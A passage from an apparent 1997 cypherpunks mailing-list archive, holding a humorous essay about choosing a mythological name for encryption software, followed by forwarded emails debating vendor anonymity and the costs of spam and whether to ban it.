incestuous? I had to find out. There was no way - n o  w a y - I'd be
having my encrypted file system playing second fiddle to that evil
authentication beast.

KERBEROS; also spelled Cerberus.  n.  The watch dog of
   Hades, whose duty it was to guard the entrance--against
   whom or what does not clearly appear; . . . it is known
   to have had three heads. . .

Mythology couldn't get any more incestuous than that.

450,000 bytes of Greek polytheism later, and I'm wondering if the
Gods of Olympus really had any high-paid guards to speak of except
the multi-headed mongrel from Hades. I'm feeling down. I'm cursing
the Ancients. I'm disrespectfully humming tunes `All and All it's
Just Another Greek in the Wall', and `Athena be my Lover' when I
discover:

JANUS: in Roman mythology, custodian of the universe, god of
   beginnings. The guardian of gates and doors, he held
   sacred the first hour of the day, first day of the month, and
   first month of the year (which bears his name). He is represented
   with two bearded faces set back to back.

Custodian of the universe. Guardian of gates and doors. Cooool.
Janus.  January. I like it.  Only while I'm liking it, I'm thinking
that I've heard the word Janus a lot before. I'm thinking it isn't
just me who has looked up from the middle of a Greek mythology
text, whilst in the throes of a name hunt with the words "Cooool"
on their tongue.  No: the Gods just don't smile on me that way.
AltaVista confirms the truth of Heaven's bad attitude towards me.
17,423 references.  _The Janus Mutual Trade Fund_, _The Janus
Project_, _Janus ADA95_, a dozen ISPs from Canada (what is it WITH
these Canadians?), _Janus' cool word list_ (turns out to be not so
cool), _The Janus Ensemble_, _Hotel Janus_, _Janus Theatre_,
_janus.com_, _janusfunds.com_, _Janus_ an Australian Police drama
series and of course, the sixth moon of Saturn - _Janus_. Janus is
out-of-the-picture. I'm not sure whether to feel smug or grim about
the rest of the world's lack of originality.

Guards. Guardians. The Greeks didn't have many with bite and I'm
loosing patience with the whole culture. Euphrosyne, Aglaia, and
Thalia do not grace me.  What I need is something that evokes
passion within my cryptographic domain. And when you come down to
it, that means something which produces copious amounts of gore
and blood, at will, from those who would dare to pass its demesne
of protection.

     The Erinyes, or Furies, were three goddesses who punished by
     their secret stings the crimes of those who escaped or defied
     public justice. The heads of the Furies were wreathed with
     serpents, and their whole appearance was terrific and appalling.
     Their names were Alecto, Tisiphone, and Megaera.  They were
     also called Eumenides.

Aye. Plenty of gore there. But somewhat lacking in cryptographic
analogy.  Fantastic material for the group that doesn't meet at
number 41 every Saturday night though. They will appreciate what
the Erinyes were trying to achieve.

Somewhat heartened, my mind turns to the Erinyes' dress sense. "..heads
of the Furies were wreathed with serpents, and their whole appearance
was terrific and appalling". Terrific. Serpents.

Terrific \Ter*rif"ic\, a. [L. terrificus; fr. terrere: to frighten
   + facere: to make. See Terror, and Fact.] Causing
   terror; adapted to excite great fear or dread; terrible; as, a
   terrific form; a terrific sight.

Is it a symptom of society in decay that this word has come to mean:

Excellent \Ex"cel*lent\, a. [F. excellent, L. excellens, -entis,
   p. pr. of excellere. See Excel.] 1. Excelling;
   surpassing others in some good quality or the sum of qualities;
   of great worth; eminent, in a good sense; superior, as an
   excellent man, artist, citizen, husband, discourse, book, song,
   etc.; excellent breeding, principles, aims, action.

Or as Milton would say:

   To love . . . What I see excellent in good or fair.

On the other hand, David Hume (1711-1776):

   The more exquisite any good is, of which a small specimen is
   afforded us, the sharper is the evil, allied to it; and few
   exceptions are found to this uniform law of nature. The most
   sprightly wit borders on madness; the highest effusions of joy
   produce the deepest melancholy; the most ravishing pleasures
   are attended with the most cruel lassitude and disgust; the most
   flattering hopes make way for the severest disappointments. And,
   in general, no course of life has such safety (for happiness is
   not to be dreamed of) as the temperate and moderate, which
   maintains, as far as possible, a mediocrity, and a kind of
   insensibility, in every thing.

Perhaps it is the sign of a brain in decay, rather than a society
that I dwell on it so, because Terrific hair serpents of course
lead unfailing into the arms of the Medusa. A guardian of fearsome
looks, but dubious motivations according to authorities like Clash
of the Titans (1981). A moot point, perhaps as Princeton's
history department no longer wants to talk to me. I'm cast adrift,
to rely on my Plasticine childhood memories and the mythological
swamp of the web.

   NAME: Medusa
   FAVORITE PASTIME: Turning men to stone
   PLACE OF ORIGIN: Los Alamos Secret CIA Lab
   SPECIAL GIFTS: Petrified Aggregate Projectist
   FAVORITE MOVIE: Mighty Morphin' Power Rangers
   GOALS IN LIFE: To be a nice person
   FAVORITE BOOK: Madonna's biography
   PET PEEVE: Bad hair days

Jesus. I've been sucked into comic book hell. Princeton, take me
back.  I won't curse at the ancient Greek's sexual proclivities
anymore. I'm sure chaste marriages were very daunting to those yet
to have them. I was only joking. Lighten up will you?

But, alas, the history faculty however was still nursing its
wounds, and was not ready to forgive me. I'd have to find an
authoritative source somewhere else. Perhaps I could filter out the
comic book hell contaminants and come up with respected history Ivy,
even if it wasn't Princeton Ivy.

   To decapitate - to castrate. The terror of the Medusa is thus
   a terror of castration that is linked to the sight of something.
   The hair upon the Medusa's head is frequently represented in
   works of art in the form of snakes, and these once again are
   derived from the castration complex. It is a remarkable fact
   that however frightening they may be in themselves, they
   nevertheless serve as a mitigation of the horror, for they
   replace the penis, the absence of which is the cause of the
   horror. This is a confirmation of the technical rule according
   to which a multiplication of penis symbols signifies castration.

   Sigmund Freud
   The Medusa's Head

You had to hand it to Sigmund. He was nothing if not authoritative,
and after reading his inspiring words on the terrific serpent haired
woman, it became clear to me that _Proffs_ and the Gorgon had somewhat
unresolved metaphorical incompatibilities. I didn't want my software
giving anyone a castration complex.

I decided to put aside the denizens of Olympus from contest verbatim.
I'd read Fraud on Perversions a few years before and knew Medusa
was just a portent of what was to come.  What I needed was another
polytheist culture entirely.  Latin didn't help me. Nearly all the
Roman Gods had been vilely plagiarised from the Greeks, Latin names
or not.  Freud knew this as well as I did.  The Norse gods were of
little assistance to me.  The only one worth paying school to was
Loki, the Norse god of mischief. Loki was a very cool fellow, which
was why his name has been appropriated as a moniker by virtually
every Bjorn, Sven, and Bob hacker to come out of Scandinavia in
the last 10 years. No, Loki was not for me.

The problem craved for a polytheist mythology outside the realm of
my, and more importantly Sigmund Freud's, Western European upbringing.
The answer to my question was by definition locked within a body of
history I didn't know an onion skin about. In order for the pilgrim
to reach the master he must first place his foot on the path, no
matter how gradual the slope up the mountain of enlightenment. Zen
Buddhism is good like that. Fabricating parables up as you go along
that is.

   Zen master Gutei raised his finger whenever he was asked a
   question about Zen. A young novice began to imitate
   him in this way. When Gutei was told about the novice's imitation,
   he sent for him and asked him if it were true. The novice admitted
   it was so. Gutei asked him if he understood. In reply the novice
   held up his index finger. Gutei promptly cut it off.  The novice
   ran from the room, howling in pain. As he reached the threshold,
   Gutei called, "Boy!". When the novice returned, Gutei raised
   his index finger. At that instant the novice was enlightened.

But wait. This Koan isn't fabricated. At least, not by me. And
unlike most Zen Koan's I think you will agree that it pleasantly
satisfies Schopenhauer's "life, without pain, has no meaning".
However, semantically I'm seeing a very unhealthy correlation to
forgetting one's encryption key and losing one's finger.

My mind is drawn to the memory of the real-life nightmare of laying
in the easy-chair of a Swanston St. hypnotherapist suite, gazing
intently into a bright, but distant red light, while chanting the
mantra "I am not cynical about hypnotherapy. I am not cynical about
hypnotherapy.  I am not cynical about an Indian doctor with a 5th
floor office decorated coup'd'Edelstien. I'm not cynical about a
man who claims that his foremost clientele are rich middle aged women
who have put their jewellery somewhere "safe" and consequently
are unable to recall the location.  I'm not cynical about a
hypnotist who extols the virtues of having a M.D. so his patients
can claim 2/3rds of the cost of these jewellery retrieval sessions
under Medicare. I'm not cynical that these middle aged women are
infact suffering from some form of Mesmer complex.  And by all the
powers in Heaven, I have no pessimism about recalling my god-damned
pass-phrase!".

I never did remember the pass-phrase and you will notice Gutei
keeps very quiet about what he does with the novice's finger. In
this particular case, given the value of the data, I would have
traded placed with Gutei's novice, before you can say "Boy! Was I
enlightened".

I put my chin on my knee, and stare at the grain of my beige
plastic monitor case. Unless I could jump into another reality
it was the end of the line for _Proffs_ and _One Man's Search
for a Cryptographic Mythology_. Boy! Was I bummed. 

One of the great sins of us programmers is procedural thinking.
And it was exactly this sort of folly I was engaging in. There were
around 6 billion other realities going about their business. I
grant you that 2 billion of these were no doubt indulging in the
confusion and diffusion of an avalanche of pseudo-random mental
images and sequences we associate with dreams, and probably another
2 billion busy expanding their minds with the powerful products of
hash or decaying into a compressive state of increasing entropy
and beer rounds. This still left a select 2 billion souls with
which to weave my work.  If I approached them directly rather than
by analysing the information trails they left behind, I'd stand a
good chance of getting my feet onto the path of cryptographic
mythological enlightenment.

I have a Swedish friend who calls himself Elk on odd days and
Godflesh on even days. Don't ask why. As far as I know he's not
bisexual. Elk listened to my quest for cryptographic myth. He
had pondered, and uncovered a diamond in the rough. MARUTUKKU.

  The third name is MARUTUKKU, Master of the arts of protection,
  chained the Mad God at the Battle. Sealed the Ancient Ones in
  their Caves, behind the Gates.

F a r  o u t. Master of the arts of protection. Chained the Mad
God.  Sealed the Ancient Ones in their Caves, behind the Gates.
Even the very word MARUTUKKU looks like it has been run through a
product cipher.

But I wasn't about to trust the work of a self-admitted Swedish
Sumeria freak who was obviously suffering from a bi-polar moniker
disorder. Was it mere coincidence that MARUTUKKU was an anagram
for KUKU MART and KUKU TRAM? I didn't want MARUTUKKU to end up as
another cog in the annals of Freudian analogy. What I
needed was the sort of Authoritative History that only Princeton's
history faculty could provide. The tablets of the Enuma Elish:

  The Akkadian Creation Epic

   Based on the translation of E. A. Speiser, with the additions
   by A. K. Grayson, Ancient Near-Eastern Texts Relating to the
   Old Testament, third edition, edited by James Pritchard (Princeton,
   1969), pp. 60-72; 501-503, with minor modifications.

   This work, the ancient Mesopotamian creation epic consisting of
   seven tablets, tells of the struggle between cosmic order and
   chaos. It is named after its opening words. It was recited on
   the fourth day of the ancient Babylonian New Year's festival.
   The text probably dates from the Old Babylonian period, i.e.,
   the early part of the second millennium B.C.E.

[...]

   The third name is MARUTUKKU  Master of the arts of protection,
   chained the Mad God at the Battle. Sealed the Ancient Ones in
   their Caves, behind the Gates.

[...]

   MARUTUKKU truly is the refuge of his land, city, and people.
   Unto him shall the people give praise forever.

All praise the MARUTUKKU! My search had born a ripe and tasty
fruit indeed. The quest for a cryptographic mythology was
complete. Or was it? The words of Hume kept coming back to me
and I had a nagging feeling that there was some substance in
them.

If MARUTUKKU was my exquisite cryptographic good, of wit, effusive
joy, ravishing pleasure and flattering hope; then where was the
counter point? The figure to its ground - the sharper evil, the
madness, the melancholy, the most cruel lassitudes and disgusts
and the severest disappointments. Was Hume right? Because if he
was, there was only one organisation this string of hellish adjectives
could represent. The cryptographic devil with its 500,000 sq feet
of office space in Maryland. But surely there could be no reference
to such an organisation in the 4,000 year old Babylonian tablets.
The idea was preposterous. Wasn't it?

TABLET VII OF THE ENUMA ELISH:

ESIZKUR shall sit aloft in the house of prayer;
   May the gods bring their presents before him, that from
   him they may receive their assignments; none can without
   him create artful works.  Four black-headed ones are
   among his creatures; aside from him no god knows the
   answer as to their days.

It's a cold and wintry night, here in Melbourne. Despite this, the
gusts of wind and rain seem to be unusually chilling. What had I,
in my search for a cryptographic mythology, stumbled onto?

I look hard at the seven letters E-S-I-Z-K-U-R. A frown turns to
a smile and then a dead pan stare. I write down:

			  IRK ZEUS

--
Prof. Julian Assange  |If you want to build a ship, don't drum up people
		      |together to collect wood and don't assign them tasks
proff@iq.org          |and work, but rather teach them to long for the endless
proff@gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 4 Jun 1997 14:43:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Anonymity should be banned for speakers and vendors
Message-ID: <Pine.GSO.3.95.970604174023.29555R-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


[Ray, a recent DC law school grad and anti-spam activist, is a good guy
but is IMHO sadly mistaken here. Thought this might be interesting.
--Declan]

---------- Forwarded message ----------
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
X-FC-URL: To join send "subscribe" to fight-censorship-request@vorlon.mit.edu
Date: Wed, 4 Jun 97 17:25:36 -0400
From: Ray Everett-Church <ray@everett.org>
Sender: owner-fight-censorship@vorlon.mit.edu
To: sameer <sameer@c2.net>, tbetz@pobox.com
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: Spam costs and questions

On 6/4/97 4:52 PM, sameer (sameer@c2.net) wrote:

>> If Wallace were up against criminal and civil penalties if he continued to 
>> hide his customers' real identities, he'd give them up in a hot second.  Of 
>> course, as soon as there was a chance of that happening, he'd get out of 
the 
>> business entirely. 
>
>	So how do criminal and civial penalties for not revealing a
>customer's name protect anonymity on the internet?
>	Anonymity on the internet must be preserved. If you could come
>up with a way to make spam illegal and preserve anonymity, I would be
>very glad. Until then, I will have to oppose making spam illegal.

As stated before, I have heard no convincing argument that it is in the 
consumers best interest to have an anonymous *vendor*. Sure it's vital 
that *consumers* be allowed to remain anonymous, but if you're selling a 
product or service, there's no legitimate reason why a business needs to 
remain anonymous given issues of warranties, product liability, sales 
taxes, etc.

And in the case above, since the remailer in question is simply acting as 
an agent for the business, there's no question of legitimate anonymity 
implicated. Indeed, perpetuating anonymity for the business often times 
facilitates activites that constitute a breach of contract and sometimes 
even fraud. The whole reason to use a pro-spam anon remailer is so that 
you can violate your ISP usage agreement without being traceable or 
accountable. And if you've entered into that contractual relationship 
with the ISP with the *intent* to breach that contract, it's fraud.

Anonymity for consumers, Yes!  Anonymity for vendors, NO!

-Ray
<everett@cauce.org>
-------------------------------------------------------------------------
 Ray Everett-Church, Esq.  <ray@everett.org>    www.everett.org/~everett
 This mail isn't legal advice.   Opinion(RE-C) != Opinion(clients(RE-C)) 
 (C)1997 Ray Everett-Church ** Help outlaw "spam"=> http://www.cauce.org 
-------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 5 Jun 1997 13:21:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Responses to "Spam costs and questions" (long)
Message-ID: <Pine.GSO.3.95.970605132008.27292F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Yesterday I forwarded questions about spam from a friend who was speaking
before the FTC next week. Here are most of the replies I received, which
I've attached below. Some may have appeared here already.

From: glee harrah cady <glee@netcom.com>
From: Wei Dai <weidai@eskimo.com>
From: Stanton McCandlish <mech@eff.org>
From: Robert Moskowitz <rgm3@chrysler.com>
From: "Halpert, James - DC" <jhalpert@pipermar.com>
From: Azeem Azhar <aja@economist.com>
From: Mark Grant <mark@unicorn.com>
From: Charlie Stross <charlie@public.antipope.org>
From: Bill Frantz <frantz@netcom.com>
From: "Shabbir J. Safdar" <shabbir@vtw.org>
From: djones@insight.dcss.McMaster.CA (David Jones)
From: wyang@ktel.osc.edu
From: clinton@annoy.com (Clinton at Annoy)
From: Eric Murray <ericm@lne.com>
From: Ray Everett-Church <ray@everett.org>
From: Chris Poupart <jyhad@odyssee.net>
From: "Marius  Loots" <MLOOTS@medic.up.ac.za>
From: Roger Bohn <Rbohn@UCSD.edu>

-Declan


***********

Date: Wed, 4 Jun 1997 15:26:33 -0700 (PDT)
From: glee harrah cady <glee@netcom.com>
To: Declan McCullagh <declan@well.com>

A large amount of real costs are principally being borne not by the
individual recipient but by the networks that are being abused in the
process, which costs the users of the networks involved.  Lots of spammers
are not using "their own" networks to send out the spam, but using the
open nature of the Internet to relay the messages off the mail servers of
networks throughout the world.  One really egregious instance of which
I've been told is that someone used a mailserver in New Zealand as a relay
for a large spam.  I've heard that data charges in New Zealand are for
info in AND out, the provider had to pay for the privilege.  SInce this
was a third-hand story, I can't cite you chapter and verse -- wish I
could.  When lots of spam hits a single network, email processing for all
customers, whether or not they are recipients of that particular spam, is
slowed.  Lots of networks have this problem.  Unlike email systems that
stored one copy of an email, regardless of the number of recipients, the
systems we're using on the Internet today send real physical bits for each
message that take up space on mail queues.  This, too, inhibits email of
all involved.  Then, folks have to deal with the fact that the spam is on
their network: tech support folks are paid to answer queries about it,
sysadmins are paid to toss it out (in cases where it hits large intranets
-- one company local to here has two sysadmins that do nothing but get rid
of spam coming into their local net) or to manage the disk space required
to store the stuff. 

Smaller providers are getting killed with the stuff.  

The reason that many of us provider-types find more to like the Torricelli
approach is that it goes after the deceptive practices that make it harder
for us all to trace the sources of the spam: the hiding behind false or
not accurate domain names; the hiding of the actual email address of the
spammer; the harvesting of names and addresses from the open directories
of whitepage services or of online providers, etc.  This approach, we
think will be more effective at getting to the root of the problem than
labelling speech.  After all, it's not only commercial speech that is
being sent as spam and it's not responsible marketers who are doing it
either. 

I'm not sure that legislation is actually needed to address the problem.  
I could make an argument that said that the deceptive practices that are 
making it difficult to go after the spammers actually fall into the 
purview of the FTC.  I am concerned that we don't legislate something 
that we'll really be sorry about later.

As usual, summarizing a complex and difficult policy and operational 
issue in one short email probably causes problems, too.  I hope I've not 
left out anything, but probably I did.  Ask if what I've said isn't 
clear.
:-) 
  ____________________________
	glee harrah cady        Manager, Public Policy, NETCOM
   	+1.408.881.3227	     1.800.NETCOM-1	  glee@netcom.com 
           co-author, _Mastering the Internet_, Sybex, 1995 & 1996

*********

Date: Wed, 4 Jun 1997 23:39:28 -0700 (PDT)
From: Wei Dai <weidai@eskimo.com>
To: Declan McCullagh <declan@well.com>

Here's a cost that's seldomly counted: the occasionally useful spam that
we delete without reading because most spam are simply garbage.

I would argue that any spam protection system that does not allow useful
spam to get through is flawed.

*********

From: Stanton McCandlish <mech@eff.org>
To: declan@well.com
Date: Wed, 4 Jun 1997 16:22:12 -0700 (PDT)
Cc: fight-censorship-announce@vorlon.mit.edu,
        mech@eff.org (Stanton McCandlish)

Feel free to send this to FC, etc.

This response does not constitute and official EFF position, but I believe
it acurately reflects thinking here that will become EFF position shortly.

Declan McCullagh typed:
> 
> A friend who's going to be on one of the FTC panels next week sent me a
> few questions about spam. Does anyone want to try their hand at answering
> them? I'll forward along all responses I get. 
> 
> 	What are the costs to consumers of
> 	unsolicited e-mail?  I guess the time it
> 	takes to delete it might be one, hard
> 	drive space might be another.  I would

ALL/MULTIPLE USERS

* cost of storage (ISP, user or both, depending on mail system) in disk
  space and memory (remember it takes RAM to load a mailbox into any 
  modern email program).
* severe degradation and sometimes destruction of forums as they are
  over-run by spammage.
* reputational harm and loss of all usefulness of Internet account (after
  being subject to a spammer's header forgery listing the innocent victim
  as the sender, who then receives all the hatemail the spamming
  generates).


INDIVIDUAL END USER ADDITIONAL COSTS

* time to read/examine
* time to delete
* time to filter
* time to unsubscribe, complain, or otherwise respond
* increased ISP/online service subscription fees as provider costs are
  passed on to customers.
* per byte, per minute or per message costs from ISP (not all users)
* per minute costs from phone or other conduit provider (not all
  users)

CORPORATE END USER ADDITIONAL COSTS

* lost productivity due to time sinks mentioned above, frustration,
  etc.
* missed opportunities, deadlines, etc., due to too much mail to sort
  thru resulting in important messages being missed. Major potential for
  corporate lossage here.

CORPORATE ADMINISTRATOR ADDL. COSTS

* time (often quite a lot) filtering dependent users' mail, blocking
  spamming sites, contending with filled up disks, and other wastes of
  stafftime due to spamming.

ISP/ONLINE SERVICE ADDL. COSTS

* Help desk and admins' time filtering/blocking by customer request (not
  all sites do this)
* Help desk and admins' time filtering/blocking by necessity to prevent
  exceedingly abusive spammers sucking up all available disk space 
* admins' time in cleanup after one of their users engages is spamming or
  is perceived to have done so due to forged headers, and 1000s of angry
  victims send in complaints, threats, etc.
* company's losses in market share and reputation after one of their users
  engages is spamming or is perceived to have done so due to forged
  headers 
* admins' time in cleanup after one of their users engages is
  spamming or is perceived to have done so due to forged headers, and 10s
  or more of angry victims become vigilantes, and hack the provider, SYN
  flood them, send them crippling emailbombs, etc.
* company's losses in mkt. share and reputation after their service slows,
  crashes or otherwise is negatively affected by such attacks.
* company's liability when other subscribers sue for breach of contract,
  for return of subscription fees, etc., due to such outtages or
  degradation of service
* CEO & legal staff time researching if any recourse is available.
* increased connectivity costs as 56K, T1, etc. high-speed connections are
  not fast enough to keep up with all the spam (e.g. it is currently
  physically impossible to carry a full "Big 8" and alt Usenet feed with
  only a T1 connection [verify with a major ISP if in doubt], largely due
  to the amount of spamming in the alt groups.
* increased staffing costs as more people have to be hired or consulted to
  deal with the problems caused by spammers.

Please feel free to send suggestions for addtions to this list, which I've
made for other purposes than answering Declan's query.


Remember that TIME = MONEY and RESOURCES = MONEY in all above
formulations.


> 	like to know how to quantify it, and



> 	compare it with the cost of sending
> 	e-mail.

It costs roughly $20 for Net access[*], plus the cost of a
spamming-targeted mailing list ($50?) to send multiple millions of
messages. 

[Actually this is not really true - unless AOL has changed the
capabilities of its trial accounts, it actaully costs NOTHING to set up a
temporary account that is capable of massive spammage. Worse yet, the
technology to MAKE massive email lists is trivially available and/or
creatable, so one does not even have to buy such a list.  ZERO cost at
all.)
 
> 	If you banned commercial e-mail,
> 	wouldn't it just affect legitimate
> 	commercial transactions?  That is to say,
> 	wouldn't fly-by-night pyramid-scheme
> 	builders still be able to spam?  I would
> 	think that if they are so untraceable
> 	that it's hard to block their spam that
> 	it wouldn't really matter if it were
> 	simply made illegal.

Certainly. There are many other problems:

1) Any ban is going to be very difficult to write in a way that will
survive constitutional scrutiny.

2) Banning all commercial email is obvioulys stupid and unconstitutional -
I have a First Amendment right to receive commercial messages if I want
to.

3) Banning all unsolicited email is obviously stupid and unconstitutional
- I have a First Amendment right right to tell IBM that I like their web
page, even if they didn't ask me for my comments.

4) Banning all commercial unsolicited email is obviously stupid and
arguably unconstitutional.  I probably have a right to send you a message
offering my product if something in an email or a post or web page by you
indicated you might be interested in what I'm offering. Additionally, such
a ban does not speak to the issue - commerciality is not the problem.
Religious and political rants are, to most people, an even more offensive
form of spamming that advertisements are.

5) Despite the optimism of some, no local (i.e. national) law will ever
stop spam, it will simply move spammers off-shore.  That fewer
respondents will buy, due to distrust of foreign merchants, is irrelevant
- the spamming business model is successful if only 1 out of a million
people makes a purchase, because there are essentially no costs.

6) All such bans attack content. This makes them presumptively
unconstitutional right from the start. The issue of spamming cannot be 
solved with a ban.  Spamming as a problem is divisible into TWO problems:

a) Theft, abuse or usurpation of resources owned by specific parties (i.e.
ISP connectivity, staff time, etc., and your productivity), or owned by
everyone (tragedy of the commons).  This is a matter of the right to not
be forced to bear the costs of another's expression (a component of the
right to freedom of speech and press), with shades of the right to use
public resources (i.e. offline if some bully, every time you try to go a
public park, blocks your entrance into the park, you can get an injunction
against this person. Hard to map this kind of thing to the offline world
though, on legal grounds even if the ethics of the situation are plain as
day.)

b) Violation of the recipient's right to be left alone (a component of the
right to privacy) and right to not be forced to read another's expression
(a component of the right to free speech and press).  Spammers love to
contort this last into another *almost* opposite right - the right to
speak freekly in public even if it offends someone. They avoid the issue
of not having a right to do this in private spaces, and not having a right
to force others to bear their costs even for public expression.

Anyway, the privacy and freedom to not read issues seem to apply
principally if not only to private email, while the arguments in point a)
seem to apply to private mail, and forums (mailing lists, newsgroups).

These two problems require different solutions (and probably in fact both
require combinations of several different solutions, ranging from class
action suits to fraud prosecution to better filters to increased system
security to prevent forgery to tighter users contract to "don't route
spamming ISP's traffic" agreements between ISPs and NSPs, etc., etc.)

EFF is forming a working group to try to size up the various options and
possible solutions and see which ones are viable, which ones are best for
rights and for the Internet, which are expedient but would harm the public
interest, which are unconstitutional or otherwise bad, and so on.

We also have to look at this beyond the here-and-now. What about ISPs that
in the fine print say they sell their entire user base's contact info to
e-marketers? What about the use of "push" technology for spam-like
purposes? What about a MoU between all backbones and major NSPs to simply
drop service to any "spammer haven" ISP?  What about calls for direct
regulation by the FTC or FCC? Or by a UN body?  Many proposals are flying,
many problems envisioned (and some being missed by most), and many people
are getting increasingly hysterical about this so we need to find
some solutions quickly. None of the legislation produced so far does
anything but cause more damage.

--
Stanton McCandlish                                           mech@eff.org
Electronic Frontier Foundation                           Program Director
http://www.eff.org/~mech    +1 415 436 9333 x105 (v), +1 415 436 9333 (f)
Are YOU an EFF member?                            http://www.eff.org/join


*********

Date: Thu, 05 Jun 1997 06:52:36 -0400
To: declan@relay.pathfinder.com,
From: Robert Moskowitz <rgm3@chrysler.com>

Morning Declan.

In today's Internet charging scheme, there are two costs to the Internet
consumer: Time to retrieve mail, and time to process scams.  The first will
fade as higher bandwidth solutions come into play.  The later may never
fade.  Most users are not email savy, even if their email software is.
People do dumb things like post to USENET groups and then get on the big
spam lists, further increasing their mail filtering efforts.

But let's put this into perspective.  Today, I might send 5 - 10 minutes
everyday, sorting through my USMail.  Now I am a good recycler, and I open
everyone and put all of the papers into the proper bins; some days this can
take me 20 minutes.

Despite my Eudora Pro filters that color flag suspected spams (I don't
delete them, the filters might be in error) for easy delete, I have dozens
of emails among my hunderds of messages to read before trashing.  Maybe 5 -
10 minutes a day.

I really do not think spam is all that bad unless....

What I have discovered is that recreational email, ie use of USENET and
recreational LISTSERVs is the way that people get on spam lists.  Us
techies thus may have a very low spam to message ratio.  But poor johnQpub,
naively posts to alt.rec.sailboats and then gets 100 spams a day
semi-related to sailing (Sherri would LOVE to go sailing with you...).

Interestingly, the answer to spam is NOT filters to block it, but filters
to move ligitamate mail into folders for processing and leave your IN box
for quick scan/trashing.  Thus the cost of spam to the user is education
and GOOD (read not free) email software.

Now the cost to mail handlers is different, but they can and should fight
back.  Look at the lawsuit by flowers.com.  Tracy and her husband run a
small time operation.  The spam that used their domain name as the reply-to
cost them time and business.  They are going after the kid.  This is
costing them, but it will get them on a list of 'do not spam' sights, we hope.



Robert Moskowitz
Chrysler Corporation
(810) 758-8212

*********

From: "Halpert, James - DC" <jhalpert@pipermar.com>
Date: Wed, 04 Jun 97 17:00:00 DST


Declan,


Very high volume spam can and does burden service providers'
systems.  Remember the cost of sending a million or so e-mails
is very low, but engineering a network to handle, say, 200,000
improperly addressed e-mails that collect on a service provider's
mail server costs a good deal more.  Herein lies an economic
problem.

This is not to say that the Constitution shouldn't be sacrificed on
the altar of an economic problem, but the concern about high volume
spam should not be dismissed as trivial.

                         -- Jim Halpert


*********


Date: Thu, 5 Jun 1997 00:10:54 +0100
To: declan@well.com
From: Azeem Azhar <aja@economist.com>


Declan,

Here are a variety of costs:
1. phone costs (non-us)
2. traffic costs (if you are one of the customers on metered useage that
e.g. UUnet and BBNplanet offer)
3. hard-drive costs (my mac crashed a few weeks ago losing data in another
application because an incoming e-mail took up my last bit of drive space.
technically myu fault, i know, but a cost nonetheless.)
4. my time (to write and check anti-spam filters. it took me over an hour
to construct a good system in eudora. my charge out rate is GBP100 an hour,
minimum 8 hours.)
5. CPU time on mail-relays on the way. e-mail *does* impose a measurable
load on an SMTP host.


Azeem

Azeem Azhar                     vx: +44 171 830 7133
The Economist      		fx: +44 171 681 1358
25 St James Street              e-mail: aja@economist.com
London SW1A 1HG                 www: http://www.economist.com/

Disclaimer: The views expressed in this email do not necessarily represent
those of my employer.

*********

Date: Thu, 5 Jun 1997 02:43:02 -0700 (PDT)
From: Mark Grant <mark@unicorn.com>
To: declan@well.com


> What are the costs to consumers of unsolicited e-mail? 

Up to 150k of disk space, up to about 50 seconds of connect time for those
who download it by modem (assuming 28.8k), a few seconds of time to delete
it or a few minutes to send complaint mail back to their ISP.

Worse is the indirect cost to consumers through the hassle it causes to
their ISPs. They need faster links and more powerful mail servers to
process the extra unwanted data and take time to install filters and deal
with spammers. I've already had one spammer send out mail with a false
unicorn.com return address which took a day of my time to sort out.

>If you banned commercial e-mail, wouldn't it just affect legitimate
>commercial transactions?

Of course. Banning it is dumb and will cause all sorts of unexpected
problems. A few class-action suits should eliminate most of them.

	Mark
	(postmaster@unicorn.com)

*********

Date: Thu, 5 Jun 1997 11:02:49 +0100 (BST)
From: Charlie Stross <charlie@public.antipope.org>
To: Declan McCullagh <declan@well.com>


On Wed, 4 Jun 1997, Declan McCullagh wrote:

> 	What are the costs to consumers of
> 	unsolicited e-mail?  I guess the time it
> 	takes to delete it might be one, hard
> 	drive space might be another.  

Those are minimal.

Here in the UK, there are NO free local phone calls (unless you're lucky
enough to live in Hull, or have a cableco who want to let you yack to your
neighbours - it's a long and boring story). Furthermore, if you receive
email via SMTP or UUCP (rather than via a mailbox reader protocol like
POP3 or whatever) you can't filter the junk out before it reaches you.
Thus, receiving spam costs money, in terms of dialup connect time.
Moreover, some spammers use really poor, munged, address lists; I've
seen 100Kb mails (a couple of minutes of download time on an old 14.4K
modem, which is what many people still use) with maybe a 1K payload at
the end of the headers.

Given that I've got three or four users on my dialup site, and we get
an average of 5 UCEs/person/day, it's probably costing us 5-15 pence/day
extra on the phone bill. Not significant for _one_ site, but if you
multiply by two million (est. number of UK internet users) you get 
a plague that's costing about 20 million UK pounds/year -- to the 
unwilling victims.

This is before you factor in the online services like Compuserve or CIX
that charge per unit connect time, or charge for mail received from the
internet.

The real victims, though, are the people whose addresses the spammers bung
in the Reply-to: fields, so that they get mailbombed by indignant
recipients. 


-- Charlie Stross

*********

Date: Wed, 4 Jun 1997 23:17:10 -0700
To: Declan McCullagh <declan@well.com>, cypherpunks@toad.com
From: Bill Frantz <frantz@netcom.com>


At 12:45 PM -0700 6/4/97, Declan McCullagh asked:
>	What are the costs to consumers of
>	unsolicited e-mail?  I guess the time it
>	takes to delete it might be one, hard
>	drive space might be another.  I would
>	like to know how to quantify it, and
>	compare it with the cost of sending
>	e-mail.

I don't think the costs of the 1-3 spam messages I get each day is
significant.  (But I don't post to Usenet.)


>	If you banned commercial e-mail,
>	wouldn't it just affect legitimate
>	commercial transactions?  That is to say,
>	wouldn't fly-by-night pyramid-scheme
>	builders still be able to spam?  I would
>	think that if they are so untraceable
>	that it's hard to block their spam that
>	it wouldn't really matter if it were
>	simply made illegal.

Can you say regulatory arbitrage?  The current social controls on spam are
good enough that no one with any positive reputation wants to have anything
to do with it.  This means that spammers have to use anonymous offshore
answering services.  The widespread hatred of spam and spammers should keep
the total amount under control without the legal action and in spite of the
very low cost of spamming.

The recent problems Spamford has been having with denial of service attacks
